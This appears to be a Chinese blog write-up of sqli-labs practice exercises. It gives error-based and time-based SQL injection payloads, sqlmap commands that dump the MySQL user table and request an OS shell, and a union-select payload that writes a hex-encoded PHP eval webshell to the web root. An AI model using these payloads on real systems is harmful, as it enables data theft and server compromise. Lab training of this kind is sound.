报错注入、布尔盲注、延时注入以及sqlmap的练习

1、演示报错注入查询数据库,使用两种函数实现报错注入

?id=1'and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+

and extractvalue(1,concat(0x5e,(select database()),0x5e)): 这部分是我们的注入代码。extractvalue() 函数用于从 XML 文档中提取值,我们利用它来执行子查询并将结果返回。concat() 函数用于连接字符串,0x5e 是十六进制表示的字符 ^,我们将它作为分隔符使用。在 concat() 函数中,我们使用了 select database() 来获取当前数据库的名称,并将其与分隔符连接起来。整个注入代码的目的是构造一个 XML 文档,并使用 extractvalue() 函数从中提取值。

使用ASCII码实现逐一查询数据库名称

2、演示布尔盲注注入出数据库名称的前两个字母,要求使用mysql终端延时每个函数的作用


通过页面显示判断

3、使用延时注入注入出数据库长度,要求使用mysql终端延时每个函数的作用

?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+

使用了 MySQL 的 IF() 函数和 substr() 函数来判断当前数据库名称的第一个字符是否为 s,如果是,则使用 sleep() 函数来进行延迟
?id=1': 这个部分是 URL 参数中的值,我们将在这里进行 SQL 注入。在这里,我们使用了单引号 ' 来闭合原始查询。
and If(ascii(substr(database(),1,1))=115,sleep(5),1): 这部分是我们的注入代码。我们使用 substr(database(),1,1) 来获取当前数据库名称的第一个字符,然后使用 ascii() 函数将其转换为 ASCII 值。接着,我们使用 IF() 函数来判断第一个字符是否为 s,如果是,则使用 sleep(5) 函数来进行延迟 5 秒;否则,返回 1。这种方式可以通过延迟来判断条件是否为真,从而间接地获取当前数据库名称的第一个字符。
--+: 这是一个注释,用于注释掉原始查询后面的任何内容,确保我们的注入不会被截断

4、使用sqlmap利用靶场任意一关,注入出mysql数据库的user表内容

sqlmap -u http://192.168.234.36/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --dbs -level=3 -risk=3 --batch -p "id"

sqlmap -u http://192.168.234.36/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --dbs -level=3 -risk=3 --batch -p "id" -D "mysql" -T "user"

sqlmap -u http://192.168.234.36/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --dbs -level=3 -risk=3 --batch -p "id" -D "mysql" -T "user" --dump

sqlmap -r 1.txt --dbs -level=3 -risk=3 --batch -p "id" --proxy http://127.0.0.1:8080
-u 				检测注⼊点
--batch			所有选项默认
--dbs 			列出所有的库名
--current-user 		当前连接数据库⽤户的名字
--current-db 		当前数据库的名字
-D "mysql" 		指定目标数据库为mysql
--tables 			列出数据库中所有的表名
-T "user" 			指定目标表名为'user'
--columns 		列出所有的字段名
-C 'username,password' 		指定目标字段
--dump 			列出字段内容
-r 				从文件中读取HTTP 请求
--os-shell 			在特定情况下,可以直接获得目标系统Shell
--level 3 			设置sqlmap 检测等级 3

5、使用sqlmap --os-shell选项

sqlmap -u http://192.168.234.36/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --os-shell
打开my.ini在最后添加
secure-file-priv=
重启phpstudy

6、使用sql注入靶场第一关手动写入一句话木马,验证是否可以执行命令

?id=1%27%20union%20select%201,1,"3C3F70687020406576616C28245F504F53545B2778275D293B203F3E"%20into%20dumpfile%20"C:\\phpstudy_2016\\WWW\\2.php"%20--+

7、尝试使用sqlmap -r参数

sqlmap -r 2.txt --dbs -level=3 -risk=3 --batch -p "id"

posted @ 2024-03-01 08:58  谔斯猫  阅读(190)  评论(0编辑  收藏  举报